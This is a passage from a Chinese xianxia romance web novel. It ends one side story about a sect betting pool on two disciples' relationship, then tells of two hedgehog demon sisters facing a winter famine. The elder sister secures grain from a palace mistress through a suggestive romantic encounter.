她笑:“一千枚灵石而已,怎么成这个样子了。”她曲指一弹,一抹灵光钻入杜寻雁的空间储物中,“当是还你了,别哭丧着脸了。” 杜寻雁检查过储物空间,犹如变脸般,笑嘻嘻地:“多谢风师姐。我就不打扰两位了,告辞。” 待她走后,原以诗不赞成地:“你这般,其她赔了的师妹怎么办?” 风浅念:“嗯?” 原以诗直白地:“你这是偏心。” 风浅念笑:“原师姐这么快就吃醋了?” 原以诗不承认:“没有吃醋,只是就事论事。方才遇见那般多押注失败的师妹,她们可都哭丧着脸。” 风浅念:“毕竟杜师妹告诉了我们这件事。” 原以诗不置可否。 原以诗道:“不知是谁做的赌注,这次恐怕是赢了不少。” 她按按眉心,之前不曾注意,如今一想到近乎全宗都参与到这件事,就觉得头疼。 若是被堂主发现,少不了一顿苛责。 她道:“是我们器物堂的人开的吗?” 风浅念摇摇头:“我不知。” 原以诗道:“总不能让堂主知道,等会去趟堂内看看。” 风浅念“嗯”了声。 恰在此刻,丰寻春满面春风地从她们身边路过:“哎,风师姐,原师姐。” 她这样子,定然是赢了,风浅念问:“投的什么注?” 丰寻春愣了下,被正主发现,她不好意思地笑笑:“七日内,两位师姐会在一起。” 原以诗:“这般确定?” 丰寻春:“那是,我跟着堂主押的……”意识到说漏嘴,她忙捂住唇,画了个大大的叉,表示,“我什么都没说,我还有事,二位师姐,我先走了。” 原以诗:“……” 风浅念好笑,不曾想堂主也参与到其中,她斜了眼身边的人,笑意盈盈:“现在不用担心被堂主知道了,我们回洞府?” 原以诗有种无力感,堂主何时这般幼稚,连这种东西都参与,她烦闷地:“届时让执法堂的人查查,到底是谁办的。” 风浅念迟疑:“还是算了吧。” 原以诗看她。 风浅念与她十指相扣:“因为,我也参加投注了。” 原以诗:“……什么时候” 风浅念笑:“今日你来后,我麻烦依宁我帮投注的。” 原以诗:“……” 风浅念逗她:“这样,原师姐今日损毁的器物,不让你赔了。” 不等原以诗说话,风浅念上前半步,转身看她。 风浅念眉眼弯弯,牵住原以诗的手:“师姐,我洞府内的那些器物,你能再为我炼制出吗?” 不让赔,但有其它方式。 她这是行使道侣的权利,向道侣要这些东西,并不算犯规。 她撒娇的语气过于柔软,原以诗每每见到她,心情都会好许多,更何况如今对方用这种口吻同她说话。 她的心都软了。 她找不出拒绝的理由:“你想要什么,我都会给你炼制。你喜欢就好。” 风浅念笑出声,踏回那步,与原以诗并肩而行。 她不由得想起和原以诗的初见,当初那般冷傲的人,今时今日也会认真询问她的想法,照顾她的感受。 时过境迁,百年前,她们的身边是彼此,百年后,她们的身边仍旧是彼此。 这何尝不是缘分,自幼时起就存续运转的缘分。 风浅念凝视着遥远天际的橙黄渐变,夕阳余晖下,依稀可以窥见其余暖色。 她偏头,恰在此刻,原以诗也偏头看她。 四目相对,皆是暖色。 作者有话说: 风师姐和原师姐的番外结束啦 明天更新星星和姐姐之前的番外 铺垫姐姐和问宫主的番外 第108章 小刺猬和姐姐[番外] “星星, 冲啊。”静谧的晨起被一道喊声打破,一只体型偏大的小刺猬架在另一只小刺猬身上,爪子拾着一根笔直的树枝,往前猛地一甩, “冲啊, 向着我们的领地进发!” 被架着的小刺猬欲哭无泪,四肢并用地往前跑, 偶尔跳起翻越小小的障碍物, 不忘控诉身上的樾小刺猬:“云樾,有你这样使唤妹妹的嘛!” 某只樾小刺猬毫无心虚, 爪子转动,树枝伸到后面, 往榆小刺猬的后背戳过几下:“快跑,天阴下来了,再不快点,雨落下来,我们都要被淋湿。” 说着, 樾小刺猬调整姿, 趴伏在榆小刺猬脊背, 另只爪子揪住软下顺平的刺, 保持身形。 “轰隆”一声巨响。 榆小刺猬跑动的间隙抬头看了眼上空。 天幕被撕裂开, 雷电将其分割地四分五裂, 云层似又压低了许多。 她加快速度。 半柱香后,榆小刺猬停在一处洞口前, 停爪的瞬间, 她立起身体,扒在她身上的樾小刺猬早有预料地跳下, 捻着的树枝再度戳上她的脊背。 樾小刺猬似笑非笑地:“星星是想把姐姐摔在地上吗?过分。”她丢下树枝,一爪抱上前面的星星,满足地,“星星今日跑得越发快了,负重跑也很棒,以后可以背着小行囊外出了。” 星星侧过身:“你就是为了奴役我,找这么多冠冕堂皇的借口,你是坏姐姐。” 樾小刺猬不在意地跳入洞内,声音从下方传来:“没大没小的,怎么跟姐姐说话的,等会去给我打盆水洗洗。” 一滴雨水落在身上,星星抬爪愤愤地抹去,跟着跳入洞中。 下一秒,噼里啪啦的水点子狠狠砸在地上,不过眨眼的功夫,干燥的地方被浸润成泥泞的路。 星星重重关上小门,认命地拿起一只不知从哪里弄来的小盆,从小型水缸中舀过几瓢水。 这缸水是昨日樾小刺猬去湖边打的。 每每大雨落下,几日都出不了门,需要等太阳出来,将地上水分蒸发才行。 星星端着小盆来到悠闲地樾小刺猬面前,冷声道:“笨蛋云樾。” 樾小刺猬踢了她一脚:“笨笨星星。” 她捻着算不得毛笔的笔,不过是一根圆木一端绑着一撮毛发,像模像样的在地上勾勾画画。 星星凑过去,姐姐教过她认字,但每每抓她练字时,都被她用尽各种借口躲过去。 她分不出字的好坏,只能凭借自身审美感觉。 姐姐的字很好看。 星星得出这个结论。 “看什么呢,小笨笨。”樾小刺猬放下毛笔,拎起星星的后颈,扔入水盆中,摁住挣扎起身的小刺猬,“身上跑得都是灰。” 星星:“还不是你让我驮着你,”她边说双爪边上上下下,“都怪你,你就是笨蛋。” 樾小刺猬弹她小脑壳:“安静点,自己洗,洗完再到我面前来。” 星星:“知道啦。” 樾小刺猬揉揉她的小肚子,反身去到洞穴的另一边准备稍后的吃食。洞穴内囤积的粮食不多,省着点足以度过这几日。 星星清洗完,樾小刺猬的吃食也已经准备就绪,察觉到身后的水汽,樾小刺猬微微一笑,双爪拍拍,柔和的灵力包裹住小刺猬,将小刺猬身上残留的水渍蒸发。 樾小刺猬:“吃完饭,就去练字。” “不要,”星星捏着一块看不出原料的饼,咬了口,“我才不要练字,我等会要修炼,像姐姐一样,成为一只拥有灵力的小刺猬。” 樾小刺猬“嗯嗯嗯”地点头:“也好,能有个自保能力。” 注意到姐姐没有吃,星星探过身体往姐姐身上看去,案板上空无一块,只有她爪上的一块饼。 星星讨巧的话在口中顿了顿:“那是,我是最厉害的小刺猬,”她掰下一大半饼递给姐姐,“吃完姐姐教我修炼。” 樾小刺猬推开她的爪子:“我不饿,你吃。” 星星不依不饶:“不要,这么多,我根本吃不完,小刺猬的胃小小的。” 樾小刺猬:“这个饼也小小的,星星还在长身体,要多吃点,吃不完也要吃。” 星眉头簇得紧紧的,她啃了几口饼,约莫剩下三分之二,她故作撑不下的揉揉自己的小肚子,满脸都是对食物的抗拒,小声嘀咕:“就是吃不完,坏蛋姐姐。” 她又咬了一小口,不开心地咀嚼许多下,就是不往下咽,最后实在受不了地求:“姐姐,我真的吃不下了。” 望着剩下的,樾小刺猬掰过一小半,道:“姐姐只能帮你分担一点点。剩下的你必须吃完。” 姐姐素来吃软不吃硬,星星眼珠子转动,咧唇凑到姐姐面前,额头在姐姐脸颊上蹭蹭,讨好地:“姐姐,姐姐,求求你了,吃嘛,吃嘛,星星不想吃了,姐姐,世界上最好的姐姐。” 樾小刺猬拿她没办法,又掰了一点:“好了,不准再撒娇了。” 星星扯下饼的一半怼到姐姐手边,不待姐姐说话,甩起下肢往后跑:“姐姐多帮我分担点。” 樾小刺猬:“星星!” 她隐瞒的再好,抵不过星星的懂事,小刺猬早已知晓她们所剩不多的食物。 樾小刺猬心头发酸,遥遥地望向笑嘻嘻躲到洞穴另一侧,撅着后背,细细咀嚼食物的星星。 瞅见她的目光,小刺猬面上享受食物的快乐被遮掩,她幽怨地捂住肚子,似乎真的吃不下,埋怨她给的食物太多一般。 樾小刺猬垂眸,不声不响地将小刺猬分给她的吃完。 “星星,修炼的第一步是尝试感知空气中的灵气,你闭上眼睛,试试能不能看着一些发亮的点,”樾小刺猬引导星星感知,“这些便是蕴含在自然界中可供吸收的灵气。” 星星闭目,屏息静气,按照樾小刺猬教的方式,与灵气建立联系,忽而,她震惊地睁眼,漆黑的瞳孔放大,无比喜悦地:“姐姐,我看见好多水滴状的蓝色点点。” “水属性吗?”樾小刺猬笑,为星星在修炼上的天赋,“这么点时间就能与水属性建立联系,很厉害。” 被夸得飘飘然的小刺猬扬起脑袋:“本星星就是最厉害的。” 一连数日,星星只能感知到灵气的存在,却无法将其收为己用,这让小刺猬烦躁不已,整日打坐完后,托着小脑袋唉声叹气。 樾小刺猬被她逗笑,黏黏糊糊地贴在星星身上:“没事,我一开始也是这样。” 星星:“可是我比你聪明啊。” “啪”,樾小刺猬一爪子落在星星脑门上:“瞎说话。”她枕在星星肚子上,“好软,让姐姐枕枕,”她不忘抬爪,“星星好可爱,给姐姐捏捏。” 星星:“……” 姐姐太黏糊怎么办,星星面无表情地想。 雨过天晴。 洞穴小门被打开,覆盖在洞上的隐蔽物被扒拉开,两只小刺猬齐齐将头伸出来,警惕地打量完四周,其中一只体型较大的小刺猬先一步钻出来,她反身两拉起四肢短短的小刺猬。 萌得樾小刺猬不住感概:“星星好可爱,贴贴。” 星星:“拒绝。” 樾小刺猬:“拒绝无效,就要贴。” 被贴住的星星:“……姐姐是笨蛋。” 贴够了的樾小刺猬往旁挪动几步,周身灵力覆盖,随后,一道颀长的身形出现在小刺猬眼中。 云樾幻化成人形,蹲下身,轻缓地捞起趴在小刺猬,怜惜地揉揉小刺猬的脑袋,轻声道:“星星,怎会越发没大没小了。” 变成人形的姐姐没了本体的黏腻,柔和许多,尾调总是上扬,与她说话时,总呆着哄弄的意味:“饿不饿,姐姐带你去小城买点吃的。” 星星从姐姐的美貌中回过神:“可是我们没钱哎。” 云樾道:“这些星星不用操心,躲在包袱里,无论听见什么都不可以出来,知道吗?” 星星听话地:“好哦。” 云樾:“星星好乖。” 云樾小心翼翼地将小刺猬放入包袱中,用灵力卡出可供呼吸的缝隙,随后带着存有小刺猬的包袱前往最近的小城。 城池在这片妖族聚集地的百里外。 小刺猬老老实实地缩在包袱中,勉强可以透过卡出的缝隙看见外面的景象。 听见外面逐渐响起的谈话声,小刺猬蜷成小球。 这不是她第一次被姐姐带到城中,每每从城中回去,她都能吃到一些以往见都没见过的东西。 小刺猬不知道姐姐怎么获得的这些食物,姐姐从来都不让她看,只在偶尔听见别人喊姐姐的名字,说一些她听不懂的话。 就比如这个时候:“云樾,再写两幅字给这位客人。” “另一位客人要一副水墨画,一个时辰后来取,别耽误了。” 往往这个时候,姐姐总会回答:“好的。” 小刺猬很好奇姐姐在做什么,姐姐的字和画她都见过。 在家时,姐姐时常会化作人形写字作画。 为什么要把这些给别人。 她记得姐姐不让她出来的话,忍住好奇心待在包袱中。 在包袱中一呆就是数个时辰,小刺猬时常会无聊的犯困,在包袱中摊睡过去。 “云樾,你这般好的字和画,在我这真的屈才了,不若随我去更大城池,如何?” 小刺猬被说话声吵醒。 “谢谢姐姐的好意,我暂时无意去往别处。”云樾轻缓的声音响起。 “真是可惜,我这字画阁过段时日就要搬走了,以后说不定便不能见到你的字画了,真的没有与我同去的打算吗?” “家里有个妹妹,年岁尚小,她一人在家,我不放心。” “好吧,这是今日的二十文钱。” “谢谢。” 小刺猬听得迷迷糊糊。 她身体被颠起,是云樾背上了包袱。 姐姐要去买食物了。 果不其然,不多时,包袱被打开,一块色香味俱全的乳白色糕点出现在她眼前。 云樾晃晃:“饿坏了吧,吃点垫垫肚子。” 小刺猬双爪拿过,狐疑地:“姐姐不吃吗?” 云樾将纸包中剩余的几块叠好,放入包袱中:“姐姐吃过了。” 小刺猬:“骗刺猬,姐姐根本没吃。”她观察细微,“姐姐身上没有这东西甜甜的香气。” 她打开纸包一看,三块糕点整齐地躺在里面,只空缺一个的位置。 云樾笑:“姐姐不喜欢吃,星星多吃点,”她将买的日常吃食一并放入包袱,“回去后,姐姐吃这些就可以了。” 小刺猬拨动爪子:“又骗刺猬,姐姐最喜欢吃这些甜腻腻的东西了。”她来了脾气,“姐姐不吃,星星也不吃。” 本就是姐姐赚得钱,怎么能只她一只刺猬吃。弦珠腐 云樾拿她没办法,只好在小刺猬的注视下,捻出一块糕点:“好啦,星星别闹小性子,我们要回去了。” 她背上包袱,拎起小刺猬放在手臂上。回去的路上,不愿担心被人看见,小刺猬规规矩矩地趴在那,脸颊两侧被糕点撑开,鼓鼓的。 云樾笑意直达眼底:“好吃吗?” 小刺猬:“好吃!” 云樾戳戳小刺猬的脸颊:“多吃点,这糕点不能放久,今明两日要全吃完。” 小刺猬:“好,跟姐姐一人两块,姐姐不准不吃。” 云樾:“好。” 小刺猬:“对了,姐姐,我们和其她妖族姐姐种植的作物是不是要成熟了。” 云樾咬下糕点,甜香溢满口腔:“嗯,等成熟后,姐姐给星星做更多的糕点吃。” 小刺猬:“好耶。” 在小刺猬没看见的地方,云樾面色复杂。种下的农物已然该到成熟时期,可如今只露着几只萎靡的苗。 没有半点成熟的样子。 冬天快要来了,她如今尚且维持不了太久的灵力,否则便可日日前往字画阁,多赚取写钱粮,度过这几个月。 地界处还有别的妖要吃饭。 云樾有些头疼。 这片地界的妖本没有这么平和,连饭都吃不饱的情况下,互相争斗在所难免,若非云樾可以修炼,有了灵力,两只小刺猬不知会受到多少压迫。现注服 在云樾的恩威并施下,倒是无人敢打刺猬姐妹的主意,但化形不稳定是一大难题,云樾总有回归本体的时候,若是其她妖趁机对她们下手,后果难以想象。 好在妖族念及恩情,恩怨分明,过往食物缺乏时,是云樾出面出售她们采集的药材,换取食物,让她们免受饥饿。 她们念着这份情。 但众筹的种子接不出果,这个冬日注定难捱。 再如何隐瞒都瞒不过去。 这几日陆续有其她小妖过来询问。 避无可避。 终是到了粮食应当成熟的最后期限,云樾揣着小刺猬,同一众妖族人前往她们种下种子的地方。 杂草丛生,土地干涸,枯萎的草叶垂着头,零星结着些。 收成很差。 差到养不活几只小妖。 小妖们从满怀欣喜到垂头丧气不过瞬息的变化。 “这个冬天,又要饿肚子了吗?”不知道是哪只小妖先说话的。 于是,沮丧之语纷纷而出。 “种子种下去,为什么没有接出更多的粮食,人族明明就是这么种植的啊。” “怎么办,根本没有多少粮食,怎么过。” “我能活过这个冬天吗?” 小刺猬缩在姐姐怀中,漆黑的眸子难过地注视面前的草叶。 又要忍饥挨饿了吗?姐姐一定更难受。 小刺猬想安慰姐姐。 “没关系,总会有解决的办法,这个冬天,我们会平稳度过。”云樾清润的声音传入在场妖族的耳中。 一时间,抱怨声暂歇。 云樾继续说:“趁现在冬日还未降临,先去寻找更多的药材,去城中药铺兑换成钱币,换取粮食。” “可这不过杯水车薪。” “是啊,每次只能换的一点点钱币,解决不了问题。” “……” 云樾:“这只是最坏的方式,我会尽我最大的努力,在这几日想出办法。各位,抱怨解决不了问题。” “就是,解决不了问题。”小刺猬大声道。 云樾将小刺猬按回怀中:“现在你们去寻找药材,我去想办法,可以吗?” 小妖们对视:“走吧。” “云樾姐,我们走了。我们的希望就押在你身上了。” 等小妖们退去,小刺猬担心地望向姐姐,满眼心疼:“姐姐……” 云樾点她:“怎么了,星星?” 小刺猬吸吸鼻子:“我也去挖药材。” 找到更多的药材,就可以帮助姐姐减少压力。 哪怕是一点点也好。 她咬住下唇:“姐姐,星星好没用。” 云樾将小刺猬捧倒脸边:“不,星星最棒了。” 小刺猬着实想不到姐姐会想出什么方法,她只知道,这段时日,姐姐时常以人形现身,只在维持不住人形时,化为本体,黏黏糊糊地挤在她身边,含含糊糊地说着她听不清的话。 姐姐的压力很大。 小刺猬抱住樾小刺猬:“姐姐,你可以在我身上睡觉,本星星软软的。” 樾小刺猬不客气地抱住她的肚子,上下左右地揉:“星星真的好软,贴贴。” “再贴贴。” “三贴贴。” 樾小刺猬睡着了。 小刺猬给姐姐盖好小被子。 姐姐的压力太大了,帮不了姐姐的小刺猬很自责。 她只能在姐姐化为本体时,哄黏黏糊糊的樾小刺猬。 “星星,不可以不吃东西,”云樾道,“靠你一只小刺猬省,可省不下多少食物哦。要把这些都吃完,才能变成大刺猬帮姐姐。” 小刺猬真的吃不下去,张口都是酸涩,她伸出小爪子搭在姐姐的眼睛,人形的姐姐,眼周覆着一层青黑。 小刺猬带着哭腔:“姐姐……” 云樾两指点在她的爪子上:“让姐姐看看谁欺负我家星星了。” “怎么学会哭鼻子了,嗯?”云樾挠着小刺猬的脸颊,“好啦,不哭,姐姐不累。” 小刺猬:“骗刺猬,姐姐只会骗星星,姐姐明明很累。” 以往睡觉,她稍有动静,樾小刺猬就会拍她,黏住她。可这几夜,樾小刺猬睡得很沉,她发出大的声响,樾小刺猬都听不见。 云樾抹去小刺猬的泪水:“星星乖,不哭。” 小刺猬:“姐姐,星星吃得很少,你不用这么辛苦。我们囤点吃的,能好好地度过这个冬天。” 小刺猬难得自私地想,其她的妖族同她们有什么关系,为什么她们的食物也需要姐姐想办法。 明明姐姐可以不管的。 这些妖在许久前,还曾欺负过她们。 云樾道:“可是星星要健康长大啊。” 在满是算计,满是争斗的环境中,星星还这么小,怎么能被那些侵染。 这些妖族欺负过她们不假,那是妖族弱肉强食的法则,无法改变。 但如今恩情也是真的,她所做的一切,会在未来的某一日,回馈到星星身上,让星星能够更好的生活。 妖族知道感恩,会好好待星星,护着星星。 云樾莞尔:“星星要做的,是引动天地间的灵气进入体内,其余的事,交给姐姐就好,知道吗?” 小刺猬哼哼唧唧:“不知道,星星不要知道。” 云樾逗她:“怎么又耍小孩子脾气啊,星星还说要帮姐姐,现在连姐姐的话都不听了吗?” 小刺猬说不出话。 云樾拍拍小刺猬的脸颊:“好啦,不用担心,姐姐想到办法啦,过几日,吃食就会送过来。”为了让小刺猬安心,她道,“真的,姐姐从不骗星星。” “最多两日,就会有很多的吃食,到时姐姐给星星做糕点吃,好不好?”云樾笑着道,“星星想吃什么,姐姐就给星星做什么。” 星星想问姐姐想到了什么办法,她这段时日并非日日跟在姐姐身边,会被姐姐找各种借口支开。 她不想给姐姐压力。 小刺猬静默的没有去问。 她苦涩地:“嗯,好。”她蹭蹭云樾,“好姐姐。” “不是笨蛋姐姐了?”云樾手指点在小刺猬的唇角,往上一挑,打趣她,“小小年纪,怎么忧心忡忡的,要多笑笑。” 笑不出来的小刺猬牵强地扯开唇角。 “星星,姐姐今晚要出去一趟,可能会很晚才回来,也可能明早才回来,星星一只小刺猬要乖乖待在家里哦。”云樾忽而道。 小刺猬下意识:“姐姐要去哪里?” 云樾不答反问:“星星会照顾好自己的,对吗?” 小刺猬:“嗯……” 作者有话说: 樾小刺猬:星星,贴贴 小刺猬:贴,不贴 云樾:星星会照顾好自己吗? 小刺猬:嗯…… 第109章 姐姐和宫主(一)[番外] 小刺猬不知道姐姐要去哪里, 大抵是和姐姐说的吃食有关。 当夜,小刺猬孤零零地守在洞穴内,半点困意没有,她眼巴巴地扒拉着小门框, 小小的身体一会儿蜷缩成团, 一会儿展开,踮起爪尖, 偷偷地往洞穴外爬。 小刺猬既期待姐姐突然回来, 又害怕被姐姐看见她没有乖乖听话地待在家中。她两只爪臂勾住洞穴的边缘,借助周围的遮挡物, 很好地隐蔽住身体。 一旦发生风吹草动,她爪臂一收, 落地成球,便能以最快的速度滚回家中。 小刺猬小心翼翼地探出小半个脑袋。 夜风寂寥,秋意晕染整片地界,大地呈现出萧条之景,偶有垂落的草叶刮到小刺猬头顶, 给她盖了顶小帽子。 等了好久, 姐姐都没有回来。 小刺猬恹恹地揪下落叶, 爪臂收起, 四肢落地, 一步一挪动地往走家回。 姐姐今晚兴许是不会回来了, 可姐姐不回来能住在哪里。 她有几次随同姐姐去人类的城池,听闻过一种名为的“客栈”的地方, 可供人临时休息。 但姐姐不可能在客栈, 住客栈很贵,姐姐不会把钱花在这种地方。 那姐姐能在哪里。 去其她的小妖那里吗? 不可能, 姐姐的人形虽平日里和其她妖们关系不错,但不至于会到别妖家住。 小刺猬磨磨唧唧地往回走,心思转动得厉害,不知不觉间,她的眼前模糊一片,漆黑的瞳孔点缀上液体。 积攒着不肯落下来。 但终究液体充盈溢出,重重砸在洞穴内连同她和姐姐家的甬道内。 小刺猬胸腔发酸发涩,她鼻头一抽一抽的。 她给姐姐拖后腿了,若不是她,姐姐一只妖能过得很好,不用日夜忙碌奔波,更不用这么晚还不能回家。 小刺猬拍拍自己的脸颊:“笨蛋星星,我是笨蛋星星。” 哭腔下,小刺猬的音色听起来软软糯糯的。 回到家里,她将门留出一条缝隙,这样姐姐无论什么时候回来,都能直接进入。 有风顺着通道,钻入洞内。小刺猬裹紧姐姐用字画换来的小被子,继而整个身体埋入里面,低低的泣音,闷闷地传出。 * 距离此地最近的一处城池,即是云樾前段时日带着小刺猬去字画阁的那座城。 云樾一袭素雅白衣,眉目中的疲乏困顿稍一抬眼便能看出,她捏着毛笔,纤长手指擒着笔杆。 …… …… 云樾低眸去看,拾着的毛笔往纸页的更深处写去。 她对字体控制能力极强,可那处纸页太过于柔软。 …… 艳丽的红衣染得云樾眼尾挑起红意。 她凝视着红衣女人脖颈处那条突突跳动不停的筋脉。 如果这个时候,用毛笔在此处写几个字,会不会看见这条筋脉跳动地更快。 云樾咬住舌尖,暂时摒退这份念头。 她的白衣被打湿,一片透明色分外显眼,她忍不住皱住眉头:“结束后,赔偿我的衣衫。” 听闻此要求的红衣女人好笑地:“你说什么,云樾?” 云樾淡淡地重复方才的那句话:“结束后,赔偿我的衣衫,”她顿了顿,精致的眉眼认真地落在红衣女人身上,一字一顿地,“被你弄脏了,问亦云。” 问亦云摁住她的肩膀,极剧的感觉下,大脑顷刻间空白一片,她不由自主地…… 含着那根毛笔越发的紧。 云樾继续写字的意愿因为毛笔的动弹不得,不得不中断。 她等待胶合的力度弱下来,才是继续转动笔杆,笔尖的毛色与那处几乎糅在一起,黏腻腻地分不出什么。 “好啊,你想我怎么赔?”问亦云呢喃地寻了个舒服的位置,侧头靠过去,拇指和食指圈成圈,圈住云樾的手腕,向上一抬。 她嘶了声,丝线断裂,吸饱液体的笔尖跃跃欲试地想要落在哪里写点东西。 云樾慢条斯理地将毛笔调了个头,笔杆末端在问亦云颈间的筋脉上下滑动,待到那处起出红色的印子,她调转笔头,汁液饱满的笔尖吻过去。 不紧不慢写出红衣女人的名字,云樾道:“除却你答应我的粮食外,我还要一批新鲜的水果。” 问亦云不在意地:“就这么简单?” 云樾看着落在她肌肤上的晶亮,眉心重重一压,反手拎起不远处桌案上的茶壶,高高举起,淋下。 问亦云被当头浇过,随意抹了把脸,她仰起头,主动用脸去接落下的茶水。 清淡的茶香填盈在呼吸中。 她被呛到,别开头咳嗽几声,更加好笑:“好啊,想要多少,”她凑身逼近,含咬住云樾的耳,不轻不重地,“全看你。” 说完,她好似耗费掉所剩不多的气力,跌回到云樾怀中,别开头大口喘息。 穿着的红衣,其中一处,透露出更为暗色的红。 云樾没急着继续:“你受伤了。” 问亦云“嗯”了声:“不严重。” 想了想,云樾将毛笔挂回毛笔架上,摁住要起身的人,淡淡地:“我为你包扎。” 问亦云挑眉:“不用,我们按照我们的约定来就好。” 云樾不置可否,她抓过问亦云的手,灵识探入对方的空间储物中,寻出几瓶丹药和一些上好的绸缎。 拨开一瓶丹瓶,塞了枚丹药进入到问亦云口中:“你在我这出事,后果我承担不了,”她提起眸子,深棕色的眼铺满平静,“更重要的是,该给我的东西还没有给我。” 问亦云怔愣,腰身处的衣衫被挑开,露出血肉模糊的伤口,凉风钻入,她止不住地抖动。 温凉的指紧随风的轨迹而来,轻点在她的肌肤上,扫去入骨的战栗。 云樾认真地为她包扎。 问亦云咽了下喉咙,试探的神色爬上眉梢,她虚虚地握住拳,没忘记故意让云樾看见这处伤的目的:“云樾,你会心疼吗?” 云樾歪头,片刻后,她低下头继续包扎:“嗯,会。” 问亦云笑得很开心,比云樾拿毛笔在她身上写字还要开心。 云樾抽出手帕擦拭掌心,恍惚想起她和问亦云算上这次,已经见过十数面了。 从一开始她帮助问亦云躲避追寻她的人的搜捕,到后来问亦云替她接下破境的渡劫,来来往往已经一年有余。 从什么时候,两人的关系越发的近了,大概是问亦云说,与她双修,可以更快的让修为进步。 她当然明白问亦云深层次的意思,但看着对方期待腼腆的神情和小动作,她鬼使神差地同意了。 于是,两人的关系转向不清不楚中,她们见面的频率不高不低,一个月见一次。有时弹琴作画,有时笔画全身,勾弄自然。 而在这次见面前,两人大吵过一架,应该是问亦云单方面的和云樾吵,云樾并未过多理会她。 原因是那次见面,问亦云询问云樾她们的关系,云樾只简单地说了句“友人”。 这两个字让问亦云炸毛,她指着自己,气笑了:“怎么,你和其她友人也会是这种关系吗?也会随意触碰吗?” 云樾沉默着没回答她。 问亦云甩袖离去。 从那日至今日之前,两人一直未曾正面见过。 直到如今云樾无法,只能寻求问亦云的帮助,点燃一张对方留给她的符纸。 不过数秒,某人便乘风而来,脸色还是冷冷地:“干嘛。” 云樾开门见山:“我要粮食,很多的粮食。” 足以让那片地界上的妖度过这个冬日的粮食。 问亦云“切”了声,“你怎么确定我能给你。” 云樾不能确定,但她能猜到问亦云身份不凡,无论是先前追捕她的人,还是问亦云自身的修为,都很强横。加之对方腰间随意悬挂的玉牌,更是价值不菲。 这些粮食对对方不可能是难事。 问亦云本以为云樾喊她来是想她了,结果对方第一句话竟是这个,本就憋着气的她:“你凭什么觉得我会给你。” 云樾定定地盯着她。 问亦云与她对视几秒,败下阵来,正当她要妥协时,身前的白衣女人上前半步,扶住她的脸颊,吻上她的红唇。 说她意志力不坚定也好,说她没出息也罢,问亦云在云樾靠过来的瞬间心就软了。 最后一丝清明的意识让她更不在乎颜面地开口:“你把我哄开心了,我就给你,要什么我都给你。” 于是,她便被云樾按在怀中,擒着一根毛笔在她身上写字作画。 用她自己的颜料。 “开心了吗?”云樾要去倒茶,忽而记起那壶茶已经全部淋在问亦云身上,她后腰撑着桌案问。 问亦云:“开心,很开心。”她舔了下唇,呼吸还没顺回来,“什么时候要。” 云樾道:“尽早。” 晚一日,她家的小刺猬就要多挨一顿的饿。这个点,不知道星星有没有睡觉,那个小团子,说不定还在苦兮兮地等她回去。 想到自家妹妹,云樾忍不住弯下唇。 以为是对她笑的问亦云更是脾气全无,使用了个净身术,就不管不顾地怼进云樾怀中,埋首在女人的颈部,用力嗅着。 “我好想你。”问亦云低声呢喃,“为什么要去字画阁,你缺什么东西,为什么不一开始就和我说。” 她懊恼地皱紧眉头。 她这些时日忙于处理问玉宫那些夺权的人,刚结束就眼巴巴地寻到云樾身边,看着她给一个个陌生的面孔提字,作画,烦闷几乎要将她的神经冲跨。 但她和云樾还在冷战期,云樾没说话,她不敢主动出现在对方面前,只守在附近。 是以在云樾找她时,她能立刻出现。 这还是她有意耽误了几秒的情况。 出现的太早显得上杆子倒贴,过于廉价。 云樾对她内心想法一无所知,只是将她们种植农作物,却收获寥寥的事说了遍,而后道:“时间所剩不多,我能想到的,可以帮助我的人,只有你了。” 问亦云被她这一句“只有你了”爽到,傲娇地扬起头:“昂,知道了,明日一早,便会有人将你需要的东西送过来。” 云樾:“谢谢。” 问亦云得意没两下:“我们之间不需要谢谢。”她贴近白衣女子,吐气如兰,含住对方的下唇,暧昧道,“真的想谢,可以用别的方式,我会更喜欢。” “不过现在还是算了,”她适可而止地后退,长指点在云樾的眼眶,“你需要好好休息。”她揽住女人的腰身,带到自己的怀中,笑容直达眼底,“就在我怀里睡。” “在我怀里,变回本体睡觉,好不好?”问亦云哄着她。 云樾看着她:“明早食物送到?” 问亦云:“当然,答应你的事,我从来不曾失约过。” 的确是,云樾放下心。 紧绷数日的神经断裂,浓重的疲惫感涌上大脑,她回抱住问亦云,慢慢地闭上眼睛,周身灵力浮动。 一只刺猬出现在问亦云怀中。 “贴贴,抱抱,”樾小刺猬本性露出,她张开双爪,身体一伸一伸地,“抱抱我。” 问亦云心都化了,捞到脸颊旁,蹭蹭樾小刺猬的额头:“贴贴,抱抱,安心睡吧,有我在,别担心。” 樾小刺猬没再说话,是已经睡着了。 问亦云抱着小只的刺猬,缓而慢地走到床边,生怕一个动静惊扰到怀中小刺猬的休息。 “早点找我,何必这么累。”问亦云低低叹息,“还是你本体可爱,软软的,说话也好听。” 问亦云说到做到,第二日一早,樾小刺猬睁开眼,一只外观精致的戒指出现在她的眼前。 坐在她身边的女人歪头轻笑:“要不要看看?” 樾小刺猬爬起身,抓起戒指,灵识入内,巨大的空间内,堆满了各种食物。 足以让小妖们安稳过冬的食物。 樾小刺猬化为人形,再次感谢:“谢谢你,问亦云。” 问亦云摆摆手:“我不是要听你说这些。” 云樾思量片刻,选择对方最喜欢的方式,她上前半步,上半身微微向前倾,在问亦云额头落下一吻。 问亦云:“……嗯。这还差不多。” 谢谢哪里有一个吻来得实在。 她强行压住不断上扬的唇角,颀长的手指勾起那枚戒指,带到云樾手指上:“这段时间好好休息,再缺什么,随时跟我说。” 云樾:“好。” 问亦云扭捏:“你现在回去吗?” 云樾对她和颜悦色许多:“回去,我妹妹在家等我。” 问亦云:“我送送你?”她顿了顿,试探性地,“顺便去你家坐坐客?” 云樾拒绝:“刺猬住的洞穴,你这么大一个人怎么往里进?” 问亦云下意识地:“我可以缩小身体,缩到同你那般小。” 云樾:“晚些时候吧,我妹妹还不知道你的存在。” 连着被拒绝,问亦云按下不满,只能放弃:“好吧。” 目送云樾离开后,问亦云身边的空间出现扭,紧接着,一道人影出现在侧。 问亦云凝视着云樾离开的方向,似乎是在自言自语,又似乎在询问身边人:“为何我和云樾关系这般亲密了,她还是不肯带我回去。” 冉寻斟酌着回答:“许是云小姐不想让她妹妹难过。宫主可再等等,云小姐的身边,除却她妹妹外,只有您一人。” 问亦云不知在想什么,半晌吐出一句,“不想让她妹妹难过,所以就舍得让我难过了吗?” 冉寻不敢再接话,眼神一瞟,注意到宫主腰身的伤痊愈。她做为问亦云身边人,自是知晓宫主受伤故意耗着,就为了看云樾的反应,让对方心疼她。 